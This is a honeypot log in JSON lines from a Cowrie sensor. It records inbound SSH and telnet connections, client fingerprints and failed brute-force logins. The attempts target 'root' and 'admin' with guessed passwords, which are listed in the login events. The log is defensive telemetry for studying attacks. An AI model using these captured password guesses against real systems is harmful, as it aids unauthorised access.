{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b1:2a:7c:4f:cd:f3:3f:5e:42:d8:30:ad:b8:9b:5b:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzyo5EVXoaS0FLWJBb6pZ9V76sRbzfuI1eFilbtoaXNrrTPHskNTWvKRb+qvnlcRwjlPwOmO5OeMYlTw6pMIh3dM6Ho/vDV+6fV9AzbsFqG8FmojJvqD1VrDNEJNfOQtYEMxeAu76pvGqqfEVkDh8ElVkvXJFgaUG2A8OleoDjsWZzaLPzPDFX8H4l6Xa8hNPe631U8sWwasclkTDgPUl4ngs1n8iJDoYrW76plcp5HMS9CFBSFN5viUhAwFwWU0D8OL3h+4fKOAJOe9pjRyZkxnkBHlq6gbp9EjZyhUAC1uY9fzGYKmsIWwk+isKrXzyrAZBsvPagOG7RZWs6oBhKw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:24:05.013064Z","src_ip":"198.46.134.148","session":"471d26cc8b18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:24:05.055112Z","src_ip":"198.46.134.148","session":"471d26cc8b18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"179.102.17.221","src_port":41654,"dst_ip":"159.203.135.109","dst_port":23,"session":"cbe68b08b860","protocol":"telnet","message":"New connection: 179.102.17.221:41654 (159.203.135.109:23) [session: cbe68b08b860]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:24:09.202836Z"}
{"eventid":"cowrie.session.connect","src_ip":"179.102.17.221","src_port":41667,"dst_ip":"159.203.135.109","dst_port":23,"session":"501682046339","protocol":"telnet","message":"New connection: 179.102.17.221:41667 (159.203.135.109:23) [session: 501682046339]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:24:09.382849Z"}
{"eventid":"cowrie.session.closed","duration":35.96243405342102,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:24:15.164753Z","src_ip":"135.148.14.151","session":"f296e6b45ac4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00644755363464,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:24:19.954306Z","src_ip":"149.34.216.141","session":"34a26de02acc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":38436,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f74b4adc821","protocol":"telnet","message":"New connection: 135.148.14.151:38436 (159.203.135.109:23) [session: 4f74b4adc821]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:24:21.901227Z"}
{"eventid":"cowrie.session.closed","duration":120.00134515762329,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:24:22.037711Z","src_ip":"149.34.216.141","session":"5d04c91cb5cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":48980,"dst_ip":"159.203.135.109","dst_port":23,"session":"bfa870b4fd40","protocol":"telnet","message":"New connection: 135.148.14.151:48980 (159.203.135.109:23) [session: bfa870b4fd40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:24:48.375047Z"}
{"eventid":"cowrie.session.closed","duration":38.6414680480957,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:25:00.542531Z","src_ip":"135.148.14.151","session":"4f74b4adc821","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":58840,"dst_ip":"159.203.135.109","dst_port":23,"session":"0fa66d4cbe04","protocol":"telnet","message":"New connection: 135.148.14.151:58840 (159.203.135.109:23) [session: 0fa66d4cbe04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:25:08.434142Z"}
{"eventid":"cowrie.session.closed","duration":32.644436836242676,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:25:21.019436Z","src_ip":"135.148.14.151","session":"bfa870b4fd40","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":35232,"dst_ip":"159.203.135.109","dst_port":23,"session":"b92e822b8ebf","protocol":"telnet","message":"New connection: 135.148.14.151:35232 (159.203.135.109:23) [session: b92e822b8ebf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:25:21.636719Z"}
{"eventid":"cowrie.session.closed","duration":33.680306911468506,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:25:42.114293Z","src_ip":"135.148.14.151","session":"0fa66d4cbe04","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":41578,"dst_ip":"10.17.0.5","dst_port":22,"session":"a56bd370c454","protocol":"ssh","message":"New connection: 109.172.54.111:41578 (10.17.0.5:22) [session: a56bd370c454]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:25:42.906803Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:25:42.912005Z","src_ip":"109.172.54.111","session":"a56bd370c454","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:25:43.008508Z","src_ip":"109.172.54.111","session":"a56bd370c454","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qsadqe345613assa","message":"login attempt [root/qsadqe345613assa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:25:43.296133Z","src_ip":"109.172.54.111","session":"a56bd370c454","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:25:44.394150Z","src_ip":"109.172.54.111","session":"a56bd370c454","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":33970,"dst_ip":"10.17.0.5","dst_port":22,"session":"97b9d1113fce","protocol":"ssh","message":"New connection: 103.82.132.16:33970 (10.17.0.5:22) [session: 97b9d1113fce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:25:48.323771Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:25:48.328449Z","src_ip":"103.82.132.16","session":"97b9d1113fce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:25:48.577986Z","src_ip":"103.82.132.16","session":"97b9d1113fce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"25051987","message":"login attempt [root/25051987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:25:49.334398Z","src_ip":"103.82.132.16","session":"97b9d1113fce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:25:50.593410Z","src_ip":"103.82.132.16","session":"97b9d1113fce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.55479645729065,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:25:58.191568Z","src_ip":"135.148.14.151","session":"b92e822b8ebf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00692296028137,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:26:09.209589Z","src_ip":"179.102.17.221","session":"cbe68b08b860","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00125193595886,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:26:09.383940Z","src_ip":"179.102.17.221","session":"501682046339","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"179.102.17.221","src_port":41724,"dst_ip":"159.203.135.109","dst_port":23,"session":"c5fa23813cd0","protocol":"telnet","message":"New connection: 179.102.17.221:41724 (159.203.135.109:23) [session: c5fa23813cd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:26:17.356886Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":32804,"dst_ip":"159.203.135.109","dst_port":23,"session":"a08b64fd936d","protocol":"telnet","message":"New connection: 135.148.14.151:32804 (159.203.135.109:23) [session: a08b64fd936d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:26:20.987734Z"}
{"eventid":"cowrie.session.connect","src_ip":"179.102.17.221","src_port":41733,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e1a85b68a3e","protocol":"telnet","message":"New connection: 179.102.17.221:41733 (159.203.135.109:23) [session: 9e1a85b68a3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:26:23.448054Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":38906,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a1feab97bfd","protocol":"telnet","message":"New connection: 135.148.14.151:38906 (159.203.135.109:23) [session: 4a1feab97bfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:26:31.885725Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":36934,"dst_ip":"159.203.135.109","dst_port":22,"session":"0bce5afdca2e","protocol":"ssh","message":"New connection: 103.77.175.15:36934 (159.203.135.109:22) [session: 0bce5afdca2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:26:39.406839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:26:39.412593Z","src_ip":"103.77.175.15","session":"0bce5afdca2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:26:39.676083Z","src_ip":"103.77.175.15","session":"0bce5afdca2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"198787","message":"login attempt [root/198787] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:26:40.458274Z","src_ip":"103.77.175.15","session":"0bce5afdca2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:26:41.721439Z","src_ip":"103.77.175.15","session":"0bce5afdca2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":48554,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd316f893c8a","protocol":"telnet","message":"New connection: 135.148.14.151:48554 (159.203.135.109:23) [session: dd316f893c8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:26:54.057239Z"}
{"eventid":"cowrie.session.closed","duration":35.17613172531128,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:26:56.163716Z","src_ip":"135.148.14.151","session":"a08b64fd936d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":54868,"dst_ip":"159.203.135.109","dst_port":23,"session":"4cac99966aeb","protocol":"telnet","message":"New connection: 135.148.14.151:54868 (159.203.135.109:23) [session: 4cac99966aeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:27:07.004335Z"}
{"eventid":"cowrie.session.closed","duration":35.54715657234192,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:27:07.432742Z","src_ip":"135.148.14.151","session":"4a1feab97bfd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":60372,"dst_ip":"10.17.0.5","dst_port":22,"session":"e526450dc06f","protocol":"ssh","message":"New connection: 80.66.85.226:60372 (10.17.0.5:22) [session: e526450dc06f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:27:10.935295Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:27:10.940566Z","src_ip":"80.66.85.226","session":"e526450dc06f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:27:11.103117Z","src_ip":"80.66.85.226","session":"e526450dc06f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"leslie","message":"login attempt [root/leslie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:27:11.537274Z","src_ip":"80.66.85.226","session":"e526450dc06f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:27:12.692661Z","src_ip":"80.66.85.226","session":"e526450dc06f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":41198,"dst_ip":"10.17.0.5","dst_port":22,"session":"27ee11d084fb","protocol":"ssh","message":"New connection: 2.57.121.112:41198 (10.17.0.5:22) [session: 27ee11d084fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:27:16.108290Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:27:16.118378Z","src_ip":"2.57.121.112","session":"27ee11d084fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:27:16.236119Z","src_ip":"2.57.121.112","session":"27ee11d084fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"030781","message":"login attempt [admin/030781] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:27:16.714511Z","src_ip":"2.57.121.112","session":"27ee11d084fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"030780","message":"login attempt [admin/030780] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:27:17.822303Z","src_ip":"2.57.121.112","session":"27ee11d084fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"030779","message":"login attempt [admin/030779] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:27:18.926977Z","src_ip":"2.57.121.112","session":"27ee11d084fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"03071998","message":"login attempt [admin/03071998] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:27:20.031279Z","src_ip":"2.57.121.112","session":"27ee11d084fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"03061997","message":"login attempt [admin/03061997] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:27:21.142422Z","src_ip":"2.57.121.112","session":"27ee11d084fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:27:22.254141Z","src_ip":"2.57.121.112","session":"27ee11d084fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":49970,"dst_ip":"159.203.135.109","dst_port":23,"session":"6795a833d4fe","protocol":"telnet","message":"New connection: 135.148.14.151:49970 (159.203.135.109:23) [session: 6795a833d4fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:27:29.025815Z"}
{"eventid":"cowrie.session.closed","duration":0.005681514739990234,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:27:29.031359Z","src_ip":"135.148.14.151","session":"6795a833d4fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.33060598373413,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:27:31.387715Z","src_ip":"135.148.14.151","session":"dd316f893c8a","protocol":"telnet"}
